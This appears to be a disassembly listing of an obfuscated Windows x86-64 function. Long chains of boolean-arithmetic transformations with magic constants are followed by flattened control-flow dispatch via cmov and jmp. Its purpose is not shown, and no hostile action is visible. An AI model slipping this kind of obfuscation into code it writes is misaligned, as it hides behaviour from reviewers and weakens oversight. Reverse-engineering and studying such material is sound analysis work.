mov ebp, ecx
xor ebp, 0xb2101068
xor ecx, 0x41afef14
mov edx, edi
not edx
mov ebx, ecx
and ebx, 0x4ceb8083
and ebp, 0xb3147f7c
or ebp, ebx
or ecx, edx
and edx, 0x4ceb8083
and edi, 0xb3147f7c
or edi, edx
xor edi, ebp
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xf5da8ff3
and ecx, 0xa25700c
or ecx, edx
mov edx, ecx
xor edx, 0x245000
and edx, 0xf53e50a2
xor ecx, 0xff1b20ae
or ecx, edx
mov ebp, ecx
not ebp
and ecx, 0x6f5a0d94
mov edx, ebp
and edx, 0x90a5f26b
or edx, ecx
mov edi, edx
xor edi, 0x90a5f26b
xor edx, 0x60fc3b08
and edx, edi
mov ecx, eax
xor ecx, 0xf059c963
and ecx, eax
mov r8d, edi
and r8d, eax
xor edi, eax
not eax
and ebp, 0xf059c963
and eax, 0xf059c963
mov esi, edx
and esi, ebp
xor ebp, edx
or ebp, esi
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov edx, ebp
not edx
and edx, 0xd37f43d
and ebp, 0xf2c80bc2
or ebp, edx
mov edx, eax
not edx
and edx, 0xd37f43d
and eax, 0xf2c80bc2
or eax, edx
xor eax, ebp
or edi, r8d
mov ecx, edi
not ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x3ab6e3cb
and eax, 0xc5491c34
or eax, ebp
or edx, edi
and edi, 0x3ab6e3cb
and ecx, 0xc5491c34
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
mov ebx, edx
xor ebx, 0xc80aded7
and ebx, edx
not edx
and edx, 0x4000ce01
and eax, 0x880a10d6
or eax, edx
xor eax, 0x880a10d6
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov edi, ebx
mov ecx, ebx
xor ecx, 0xd703ef43
and ecx, ebx
mov ebp, ebx
mov eax, ebx
xor eax, 0xe8918aa0
and eax, ebx
not ebx
mov edx, ebx
and edx, 0xd300e341
and edi, 0x4030c02
or edi, edx
xor edi, 0x4030c02
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x28fc10bc
and ecx, 0xd703ef43
or ecx, edx
mov edx, ecx
not edx
and edx, 0x351db84a
and ecx, 0xcae247b5
or ecx, edx
mov edx, ecx
xor edx, 0x80e20680
and edx, 0x85f3068a
xor ecx, 0x300cb840
and ecx, 0x7a0cf975
or ecx, edx
mov edx, ecx
xor edx, 0x85f3068a
and edx, ecx
mov ecx, ebx
and ecx, 0xca710d24
and ebp, 0x358ef2db
or ebp, ecx
xor ebp, 0xb07df451
mov ecx, ebp
xor ecx, ebx
and ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
xor edi, ebp
and edi, edx
mov esi, edx
not esi
and esi, 0x7011c79d
and edx, 0x8fee3862
or edx, esi
and ebp, 0x7011c79d
and ecx, 0x8fee3862
or ecx, ebp
xor ecx, edx
mov edx, edi
not edx
mov ebp, edx
and ebp, 0x95ddff70
and edi, 0x6a22008f
or edi, ebp
mov ebp, ecx
not ebp
or edx, ebp
and ebp, 0x95ddff70
and ecx, 0x6a22008f
or ecx, ebp
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x14f9c989
and ebp, edx
not edx
and edx, 0xc8c100
and ecx, 0x14310889
or ecx, edx
mov edx, ecx
xor edx, 0x14100081
xor ecx, 0xebcef776
mov edi, ecx
and edi, 0x80ad887c
and edx, 0x14504181
or edx, edi
mov edi, ebp
not edi
or ecx, edi
and edi, 0x80ad887c
and ebp, 0x7f527783
or ebp, edi
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6ef530fc
and ecx, 0x910acf03
or ecx, edx
and ebx, 0xe8918aa0
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0x176e755f
and eax, 0xe8918aa0
or eax, edx
mov ebp, ecx
not ebp
mov edx, ebp
xor edx, eax
not edx
and edx, eax
or eax, ebp
not eax
mov ebx, edx
and ebx, eax
xor eax, edx
mov edx, dword [0x1400c566c]
or eax, ebx
mov ebx, eax
not ebx
and ebp, 0x4f7ee6e2
and ecx, 0xb081191d
or ecx, ebp
mov ebp, eax
and ebp, 0x2c4c879f
and ebx, 0xd3b37860
or ebx, ebp
mov ebp, ecx
xor ebp, 0x90811800
xor ecx, 0x4f7ee6e2
or eax, ecx
and ecx, 0x2c4c879f
and ebp, 0xd3b37860
or ebp, ecx
xor ebp, ebx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0x5a9b1a07
and eax, 0xa564e5f8
or eax, ecx
xor eax, 0xa564e5f8
setne r8b
sete al
cmp edx, 0xa
setl r11b
cmp edx, 9
setg dil
mov esi, eax
xor sil, r8b
and al, sil
mov ebx, eax
xor bl, 1
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, edi
xor bl, al
or al, dil
xor al, 1
or al, bl
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
mov r9d, edx
and r9b, bl
xor dl, bl
or dl, r9b
xor dl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, ecx
and al, r10b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
or r10b, cl
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
mov r9d, r10d
xor r9b, 1
mov eax, esi
xor al, 1
mov ecx, edi
xor cl, r11b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, dil
or dil, bl
xor dil, 1
and bl, r11b
or bl, cl
mov ecx, edi
and cl, bl
xor bl, dil
or bl, cl
mov r11d, esi
and al, sil
mov edx, esi
and dl, al
xor al, sil
and sil, r8b
xor r11b, r8b
or r11b, sil
xor r11b, 1
or al, dl
xor al, r8b
mov r8d, eax
xor r8b, 1
mov ecx, eax
and cl, r8b
mov edx, ecx
xor dl, 1
xor cl, al
or dl, r8b
xor dl, 1
or dl, cl
xor dl, r11b
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
or al, dl
xor al, dl
mov r8d, eax
xor r8b, 1
or bl, cl
xor bl, 1
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
and al, dl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
xor al, 1
mov ecx, eax
or cl, bl
xor cl, 1
xor al, bl
xor al, 1
and al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r9d
or cl, r10b
xor cl, 1
mov r8d, r9d
and r8b, r10b
mov edx, r8d
and dl, r9b
xor r8b, r9b
or r8b, dl
xor r8b, cl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, r8b
xor r8b, 1
xor dl, 1
or r8b, cl
xor r8b, 1
or r8b, dl
mov r11d, eax
xor r11b, 1
mov ecx, eax
or cl, r11b
mov edx, ecx
xor dl, 1
mov edi, edx
and dil, cl
mov ebx, edi
and bl, dl
xor dil, dl
or dil, bl
mov edx, edi
xor dl, 1
and dl, al
and dil, r11b
or dil, dl
mov edx, ecx
and dl, r11b
xor cl, r11b
or cl, dl
mov edx, ecx
xor dl, dil
xor dil, 1
xor dl, 1
or dil, cl
xor dil, 1
or dil, dl
mov ebp, edi
xor bpl, 1
xor r10b, r9b
xor r10b, 1
or r10b, r9b
mov edx, r10d
xor dl, 1
mov ecx, edi
and cl, bpl
mov ebx, edi
and bl, cl
xor cl, dil
or cl, bl
mov ebx, ecx
xor bl, 1
mov r14d, ebx
and r14b, cl
mov r9d, ebx
and r9b, r14b
xor r14b, bl
or r14b, r9b
mov ebx, r14d
and bl, cl
xor r14b, cl
or r14b, bl
mov esi, r14d
xor sil, 1
mov ecx, r11d
and cl, al
xor r11b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r11b
mov eax, ecx
xor al, 1
or cl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov r11d, ecx
xor r11b, 1
and dl, r10b
xor dl, 1
mov eax, edx
xor al, r10b
or dl, r10b
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
or r9b, dl
xor r9b, 1
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov edx, r14d
and dl, sil
mov eax, r14d
xor al, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, al
and r11b, cl
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov r10d, edx
xor r10b, 1
mov eax, edx
xor al, r10b
and al, dl
or sil, r14b
mov r14d, r11d
xor r14b, 1
xor al, 1
mov ebx, eax
or bl, sil
xor bl, 1
xor al, sil
mov esi, ebx
and sil, al
xor al, bl
or al, sil
mov ecx, r14d
and cl, r11b
mov ebx, ecx
xor cl, r11b
xor bl, 1
or bl, r14b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
or cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, r14b
and cl, dl
xor r14b, r10b
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov edx, r14d
xor dl, al
xor al, 1
or al, r14b
xor al, 1
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, 1
mov eax, edx
xor al, 1
mov r10d, eax
and r10b, cl
xor al, cl
or al, r10b
xor dl, r9b
xor al, 1
xor bl, dl
and bl, dl
xor bl, al
xor bl, 1
and al, bl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edi
mov edx, r8d
and dl, bpl
or dil, r8b
xor bpl, r8b
and bpl, r8b
xor r8b, 1
and cl, r8b
or dl, cl
xor r8b, dl
and r8b, dl
xor dil, 1
mov ecx, edi
and cl, bpl
xor bpl, dil
or bpl, cl
xor r8b, 1
xor bpl, 1
mov ecx, r8d
or cl, bpl
xor cl, 1
xor bpl, r8b
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov ecx, ebp
xor cl, 1
and bpl, cl
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov edx, ebp
xor dl, 1
mov ecx, edx
and cl, bpl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, 1
or dl, bpl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
xor al, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
mov ebx, eax
xor bl, cl
xor bl, 1
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
mov ebx, eax
xor bl, 1
and dl, bl
xor bl, dl
test al, 1
mov ecx, 0xf066d3cb
mov eax, 0x6edac19e
cmovne ecx, eax
test dl, 1
mov edx, 0xf066d3cb
cmove ecx, edx
test bl, 1
jmp 0x140022823
movzx eax, word [rsp + 0x18a]
mov dword [rsp + 0x48], eax
mov eax, dword [0x1400c5670]
lea r14d, [rax - 1]
imul r14d, eax
mov r9d, r14d
not r9d
mov eax, r9d
mov ebx, r9d
mov r8d, r9d
mov ecx, r9d
and ecx, 0x3610193a
mov edx, r14d
and edx, 0x8060244
or edx, ecx
xor edx, 0x8060244
mov ecx, r14d
and ecx, 0xc1e9e481
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc1e9e481
and ecx, 0x3e161b7e
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc0efd9bc
and ecx, 0x3f102643
or ecx, edx
mov edx, ecx
xor edx, 0x100202
xor ecx, 0x21020
and ecx, 0x2c021420
and edx, 0x108206
or edx, ecx
mov ecx, edx
xor ecx, 0x108206
xor edx, 0xffef7df9
and eax, 0x2c129626
mov edi, r14d
xor edi, 0xd3ed69d9
or edi, eax
mov eax, edi
not eax
and eax, 0xd5457701
and edi, 0x2aba88fe
or edi, eax
mov eax, edi
xor eax, 0x2aba88fe
and eax, edx
xor edi, 0xd5457701
mov edx, ecx
xor edx, edi
and edx, ecx
and edi, ecx
or edi, eax
mov eax, edx
not eax
mov ecx, edi
not ecx
mov esi, eax
and esi, 0x31b3d0a2
and edx, 0xc000604
or edx, esi
or eax, ecx
and ecx, 0x31b3d0a2
and edi, 0xce4c2f5d
or edi, ecx
xor edi, edx
not eax
or eax, edi
mov ecx, eax
not ecx
or eax, 0x2c129626
mov edi, eax
not edi
or ecx, 0xd3ed69d9
mov edx, ecx
not edx
and eax, 0x357bacb3
and edi, 0xc2844148
or edi, eax
and ecx, 0x357bacb3
and edx, 0x8001204
or edx, ecx
xor edx, edi
mov eax, edx
or eax, 0x5aeee7c
mov ecx, eax
not ecx
mov edi, edx
not edi
or edi, 0xc2111083
and eax, 0xc3bfdcb3
and ecx, 0x38400100
or ecx, eax
and edi, 0xc3bfdcb3
and edx, 0x400224c
or edx, edi
xor edx, ecx
mov eax, edx
not eax
and eax, 0xfa511183
xor edx, 0x5aeee7c
or edx, eax
mov eax, edx
not eax
and eax, 0x47ce7f7d
and edx, 0xb8318082
or edx, eax
mov ecx, edx
xor ecx, 0x28000002
mov r15d, edx
xor r15d, 0x47ce7f7d
and ebx, 0xd3de89fc
mov edi, r14d
and edi, 0x2c217603
or edi, ebx
mov ebx, edi
xor ebx, 0x6203
xor edi, 0x24c0000
or r8d, 0xd2deee1b
mov ebp, r8d
not ebp
or edi, 0x2c011100
and edi, 0x2e4d1500
and ebx, 0xd092ea1b
or ebx, edi
and r8d, 0x2e4d1500
and ebp, 0x12000e4
or ebp, r8d
xor ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0x2d2111e4
and ebp, 0xd2deee1b
or ebp, ebx
mov edi, ebp
xor edi, 0xfa511183
and edi, ebp
mov ebx, ebp
not ebx
and ebx, 0x5aeee7c
and ebp, 0xfa511183
or ebp, ebx
mov ebx, edi
not ebx
mov esi, ebp
not esi
mov eax, ebx
and eax, 0xba652065
and edi, 0x459adf9a
or edi, eax
or ebx, esi
and esi, 0xba652065
and ebp, 0x459adf9a
or ebp, esi
xor ebp, edi
not ebx
or ebx, ebp
mov ebp, ebx
not ebp
mov eax, ebp
and eax, ebx
mov edi, eax
not edi
mov esi, ebx
and esi, 0xb990d273
and ebp, 0x466f2d8c
or ebp, esi
or ebx, edi
and edi, 0xb990d273
and eax, 0x466f2d8c
or eax, edi
xor eax, ebp
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x493302e4
and ebx, 0xb6ccfd1b
or ebx, eax
mov eax, ebx
xor eax, 0xc40113
xor ebx, 0x493102a0
and ebx, 0xff39fea8
and eax, 0xc60157
or eax, ebx
mov ebp, eax
xor ebp, 0x7e216288
xor eax, 0x800117
and eax, 0x81989d37
and ebp, 0x7e6762c8
or ebp, eax
mov r10d, ebp
xor r10d, 0x7e6762c8
or ecx, 0x95b1bbb4
mov eax, ecx
not eax
mov edi, r15d
or edi, 0x6a4e444b
mov ebx, edi
not ebx
and ecx, 0xfed412bf
and eax, 0xa4440
or eax, ecx
and edi, 0xfed412bf
and ebx, 0x121a900
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0xe6246018
and ebx, 0x19db9fe7
or ebx, eax
mov eax, ebx
xor eax, 0x7395dbac
mov r8d, eax
mov dword [rsp + 0x3c], eax
mov ecx, ebp
xor ecx, 0x81989d37
mov eax, ecx
and eax, 0x240c0461
mov r11d, r10d
and r11d, 0x90805a0c
or r11d, eax
mov eax, r11d
xor eax, 0x80004000
xor r11d, 0x6f7fa5f3
xor ebp, 0xcaeb3ca5
and ebp, r10d
mov esi, ebp
not esi
mov edi, r11d
and edi, 0x54cc9f2c
and eax, 0xa0004041
or eax, edi
or r11d, esi
and esi, 0x54cc9f2c
and ebp, 0xab3360d3
or ebp, esi
xor ebp, eax
not r11d
or r11d, ebp
mov eax, r11d
not eax
and eax, 0x4b73a192
and r11d, 0xb48c5e6d
or r11d, eax
xor ebx, 0x8c6a2453
mov eax, ebx
and eax, 0x32244042
mov ebp, r8d
and ebp, 0xcddbbfbd
or ebp, eax
not ebp
or ebp, ebx
mov r12d, ebp
not r12d
and r15d, 0xcddbbfbd
xor edx, 0x8a15c0c0
or edx, r15d
mov eax, edx
not eax
and eax, 0xceb6c222
and edx, 0x31493ddd
or edx, eax
mov r15d, edx
xor r15d, 0x31493ddd
xor edx, 0xceb6c222
mov esi, r11d
not esi
mov edi, esi
and edi, 0x340417ef
mov eax, r11d
and eax, 0xcbfbe810
or eax, edi
mov edi, eax
xor edi, 0x2204000
and edi, 0x32244042
xor eax, 0xf9dfa852
or eax, edi
mov edi, ecx
and edi, 0xcddbbfbd
and r10d, 0x32244042
or r10d, edi
mov edi, eax
not edi
xor ecx, r10d
and ecx, r10d
and r15d, ebp
or ebp, edx
not ebp
and edx, r12d
or edx, r15d
mov r10d, ebp
and r10d, edx
xor edx, ebp
or edx, r10d
mov ebp, eax
and ebp, 0x3be6baab
and edi, 0xc4194554
or edi, ebp
mov r10d, edi
mov r15d, ecx
mov ebp, ecx
xor ebp, 0x4737ba66
and ebp, ecx
not ecx
and ecx, 0x7f0bb4e3
and r15d, 0x80f44b1c
or r15d, ecx
xor edi, 0x3be6baab
mov ecx, edi
or ecx, 0xb8c84599
mov r12d, ecx
not r12d
or eax, 0x4737ba66
and ecx, 0xb2e1fa60
and r12d, 0x45160006
or r12d, ecx
mov ecx, eax
not ecx
and eax, 0xb2e1fa60
and ecx, 0x8080599
or ecx, eax
mov r8d, r15d
xor r15d, 0x7f0bb4e3
xor ecx, r12d
mov r13d, r15d
or r13d, 0xb8c84599
mov eax, r13d
not eax
mov r12d, r13d
and r12d, 0xd163d155
and eax, 0x6142a22
or eax, r12d
mov r12d, ebp
not r12d
or r13d, r12d
and r12d, 0xd163d155
and ebp, 0x2e9c2eaa
or ebp, r12d
xor ebp, eax
not r13d
or r13d, ebp
mov r12d, ecx
not r12d
and r12d, r13d
not r13d
and r13d, ecx
mov eax, r9d
xor r10d, 0xc0080544
or r13d, r12d
mov ecx, edi
and ecx, 0x2c51721b
and r10d, 0xd3ae8de4
or r10d, ecx
mov ecx, r9d
xor r8d, 0x80a40904
or edi, r15d
and r15d, 0x2c51721b
and r8d, 0xd3ae8de4
or r8d, r15d
mov r12d, r14d
and eax, r14d
and ecx, 0x1e233c85
and r14d, 0xe1dcc37a
or r14d, ecx
xor r14d, 0xd7df55d0
or r14d, r9d
xor r8d, r10d
not edi
or edi, r8d
mov ecx, edi
not ecx
and ecx, 0xdba83cce
and edi, 0x2457c331
or edi, ecx
xor edi, 0x2457c331
mov ecx, r13d
and ecx, edi
xor edi, r13d
or edi, ecx
mov ecx, edx
xor ecx, 0xa00d14e2
and ecx, edx
or edx, 0x5ff2eb1d
mov r10d, edx
not r10d
mov r8d, edx
and r8d, 0x146ef169
and r10d, 0xa0010482
or r10d, r8d
mov ebp, ecx
not ebp
or edx, ebp
and ebp, 0x146ef169
and ecx, 0xeb910e96
or ecx, ebp
mov ebp, edi
not ebp
or edi, 0x5ff2eb1d
xor ecx, r10d
mov r8d, edi
not r8d
or ebp, 0xa00d14e2
not edx
or edx, ecx
mov ecx, ebp
not ecx
and edi, 0x62f68cc8
and r8d, 0x80091022
or r8d, edi
and ebp, 0x62f68cc8
and ecx, 0x1d006315
or ecx, ebp
xor ecx, r8d
mov ebp, edx
not ebp
and ebp, ecx
not ecx
and ecx, edx
or ecx, ebp
and r11d, ebx
or ebx, esi
not ebx
and esi, dword [rsp + 0x3c]
or esi, r11d
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
mov edx, esi
not edx
and esi, edx
mov ebp, edx
and ebp, esi
xor esi, edx
or esi, ebp
mov edx, ecx
not edx
mov ebp, esi
not ebp
and esi, edx
or edx, ebp
mov ebx, edx
not ebx
and ebp, ecx
or ebp, esi
mov ecx, ebp
not ecx
mov edi, edx
and edi, 0xaab1f0f4
and ebx, 0x554e0f0b
or ebx, edi
or edx, ecx
and ecx, 0xaab1f0f4
and ebp, 0x554e0f0b
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x973ea239
mov ebx, edx
and ebx, 0x68c15dc6
or ebx, ecx
xor ebx, 0x68c15dc6
mov ecx, ebp
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x13816d26
and ecx, 0xec7e92d9
or ecx, ebx
mov ebx, ecx
xor ebx, 0xec7e92d9
xor ecx, 0x10016c20
and ecx, 0x98497e79
mov edi, ebx
and edi, 0x67b68186
or edi, ecx
xor edi, 0x9de79004
and ebx, 0x5aeee7d
or ebx, edi
mov ecx, ebx
not ecx
mov edi, ebp
and edi, 0xfa511182
and edx, 0x5aeee7d
or edx, edi
xor ebp, edx
and ebp, edx
mov edx, ebp
not edx
and ebp, ebx
or ebx, edx
mov edi, ebx
not edi
and edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ebx
and ebp, 0x3af4b5d4
and edi, 0xc50b4a2b
or edi, ebp
or ebx, ecx
and ecx, 0x3af4b5d4
and edx, 0xc50b4a2b
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov r15d, ebx
not r15d
mov ecx, r15d
and ecx, ebx
mov edx, r15d
and edx, ecx
xor ecx, r15d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe638b870
and ecx, 0x19c7478f
or ecx, edx
mov edx, ecx
xor edx, 0x18c20407
xor ecx, 0x26001840
and ecx, 0x27055bc8
and edx, 0xd8faa437
or edx, ecx
mov ecx, edx
xor ecx, 0x90208436
mov ebp, r15d
and ebp, 0x23b13582
and ebx, 0xdc4eca7d
or ebx, ebp
xor ebx, 0xdc4eca7d
xor r15d, ebx
and r15d, ebx
xor edx, 0x27055bc8
mov ebp, r15d
not ebp
mov ebx, edx
or ebx, ebp
not ebx
and edx, 0x6bde7b09
and ecx, 0x942184f6
or ecx, edx
and ebp, 0x6bde7b09
and r15d, 0x942184f6
or r15d, ebp
xor r15d, ecx
mov ecx, ebx
and ecx, r15d
xor r15d, ebx
or r15d, ecx
and r9d, 0xdfe6aea6
and r12d, 0x20195159
or r12d, r9d
mov ecx, r12d
xor ecx, 0x20084111
xor r12d, 0xdfe6aea6
mov edx, eax
not edx
mov ebp, r12d
and ebp, 0x1b579c6a
and ecx, 0xe4a86395
or ecx, ebp
or r12d, edx
and edx, 0x1b579c6a
and eax, 0xe4a86395
or eax, edx
xor eax, ecx
not r12d
or r12d, eax
mov eax, r12d
not eax
and eax, 0x28532c8
and r12d, 0xfd7acd37
or r12d, eax
mov eax, r12d
xor eax, 0xc9784915
and eax, 0xc9fc6955
xor r12d, 0x2011288
and r12d, 0x360396aa
or r12d, eax
mov eax, r12d
xor eax, 0xc9fc6955
and eax, r12d
mov ecx, r14d
not ecx
mov edx, eax
not edx
mov ebp, r14d
and ebp, 0x9e45b69f
and ecx, 0x61ba4960
or ecx, ebp
mov ebx, ecx
xor ebx, 0x61ba4960
mov ebp, edx
and ebp, ebx
xor ebx, edx
and edx, 0xf3275c40
and eax, 0xcd8a3bf
or eax, edx
xor ecx, 0x92051400
or ecx, 0xcd8a3bf
mov edx, ecx
not edx
or r14d, 0xf3275c40
mov edi, r14d
not edi
and ecx, 0xaae2fe77
and edx, 0x51050000
or edx, ecx
and r14d, 0xaae2fe77
and edi, 0x4180188
or edi, r14d
xor edi, edx
mov ecx, eax
not ecx
and ecx, 0xd4d4602c
and eax, 0x2b2b9fd3
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0xd4d4602c
and edi, 0x2b2b9fd3
or edi, ecx
xor edi, eax
or ebx, ebp
mov eax, ebx
not eax
and eax, 0xf97ae952
and ebx, 0x68516ad
or ebx, eax
xor ebx, 0x68516ad
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0xc9fc6955
and ecx, ebx
or ebx, 0x360396aa
mov edx, ecx
not edx
mov ebp, ebx
and ebp, 0x5e6a4a51
and eax, 0x81942104
or eax, ebp
or ebx, edx
and edx, 0x5e6a4a51
and ecx, 0xa195b5ae
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov r11d, r15d
not r11d
mov edx, ebx
not edx
mov r9d, edx
and r9d, ebx
mov eax, edx
and eax, r9d
xor r9d, edx
or r9d, eax
mov r10d, r15d
xor r10d, 0x505fdc97
mov ebp, r15d
and ebp, 0x505fdc97
or r10d, ebp
mov eax, r11d
and eax, 0xafa02368
or eax, ebp
not eax
or eax, r11d
mov ebp, eax
not ebp
mov r8d, r9d
not r8d
mov edi, r8d
and edi, 0xd6c13fe7
mov esi, r9d
and esi, 0x293ec018
or esi, edi
xor esi, 0x869ee370
mov r14d, esi
xor r14d, r8d
and r14d, esi
mov esi, edx
and esi, 0xafa02368
and ebx, 0x505fdc97
or ebx, esi
not ebx
or ebx, edx
mov edx, eax
and edx, 0x8f2f6d83
xor eax, 0x7430615e
and eax, ebp
and ebp, 0x70d0927c
or ebp, edx
mov edx, r10d
xor edx, 0x7430615e
and edx, r10d
mov ecx, r10d
or ecx, 0x8bcf9ea1
mov esi, edx
not esi
mov edi, esi
and edi, 0x66d99b38
and edx, 0x992664c7
or edx, edi
mov edi, ecx
not edi
or esi, ecx
and ecx, 0x66d99b38
and edi, 0x10206046
or edi, ecx
mov ecx, ebp
xor ecx, 0x70d0927c
xor edi, edx
mov edx, ecx
and edx, 0x8bcf9ea1
not esi
or esi, edi
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, esi
not edx
and edx, 0x2588cbb2
and esi, 0xda77344d
or esi, edx
mov edx, eax
not edx
and edx, 0x2588cbb2
and eax, 0xda77344d
or eax, edx
mov edx, r10d
not edx
xor eax, esi
mov esi, edx
and esi, 0xd7fd96d2
and r10d, 0x2802692d
or r10d, esi
xor ebp, 0x8f2f6d83
or edx, ebp
and ebp, 0xd7fd96d2
and ecx, 0x2802692d
or ecx, ebp
xor ecx, r10d
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x46c7d632
and edx, 0xb93829cd
or edx, ecx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0xa906d4a
and eax, 0xf56f92b5
or eax, ecx
mov ecx, edx
xor ecx, 0xb1280085
xor edx, 0x46c7d632
or ebp, edx
and edx, 0xa906d4a
and ecx, 0xf56f92b5
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, r14d
xor eax, ebx
and eax, r14d
mov ecx, r14d
not ecx
and ecx, 0x1cd678b9
and r14d, 0xe3298746
or r14d, ecx
mov r12d, ebx
not r12d
and ebx, 0x1cd678b9
and r12d, 0xe3298746
or r12d, ebx
xor r12d, r14d
mov edx, eax
and edx, r12d
xor r12d, eax
or r12d, edx
mov eax, ebp
mov edi, ebp
xor edi, 0x757ec510
and edi, ebp
not ebp
and ebp, 0x45380000
and eax, 0x3046c510
or eax, ebp
mov edx, r12d
not edx
and edx, 0x452e8500
mov ecx, r12d
and ecx, 0x30504010
or ecx, edx
mov edx, eax
xor edx, 0x10464110
xor eax, 0xcfb93aef
xor ecx, 0x30504010
and r12d, 0x8a813aef
or r12d, ecx
mov ecx, eax
and ecx, 0xecb98ee7
and edx, 0x11464110
or edx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xecb98ee7
and edi, 0x13467118
or edi, ecx
xor edi, edx
not eax
or eax, edi
mov ecx, eax
not ecx
and ecx, r12d
not r12d
and r12d, eax
or r12d, ecx
mov eax, r8d
and eax, 0x7bd6600f
and r9d, 0x84299ff0
or r9d, eax
mov eax, r11d
or eax, 0x62140cbf
mov ebp, eax
not ebp
mov edx, r15d
xor edx, 0x62140cbf
and edx, r11d
mov ecx, eax
and ecx, 0xb60035ec
and ebp, 0x9ebc200
or ebp, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0xb60035ec
and edx, 0x49ffca13
or edx, ecx
mov edi, r9d
xor r9d, 0x7bd6600f
xor edx, ebp
mov ecx, r9d
or ecx, 0x62140cbf
not eax
or eax, edx
mov edx, ecx
not edx
or r8d, 0x9debf340
and ecx, 0x88a54e75
and edx, 0x154ab100
or edx, ecx
mov esi, r8d
not esi
and r8d, 0x88a54e75
and esi, 0x6210008a
or esi, r8d
add dword [rsp + 0x48], 1
xor esi, edx
mov ecx, eax
not ecx
and ecx, esi
not esi
and esi, eax
mov r10d, dword [0x1400c566c]
xor edi, 0x4211790
or esi, ecx
mov eax, r11d
and eax, 0xd91e8868
and r15d, 0x26e17797
or r15d, eax
or r11d, r9d
and r9d, 0xd91e8868
and edi, 0x26e17797
or edi, r9d
xor edi, r15d
not r11d
or r11d, edi
not r11d
mov eax, esi
and eax, r11d
xor r11d, esi
or r11d, eax
mov ecx, r11d
xor ecx, 0x61cc775c
and ecx, r11d
mov eax, r11d
or eax, 0x9e3388a3
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xdfbe4623
and edx, 0x2040315c
or edx, ebx
or eax, ebp
and ebp, 0xdfbe4623
and ecx, 0x2041b9dc
or ecx, ebp
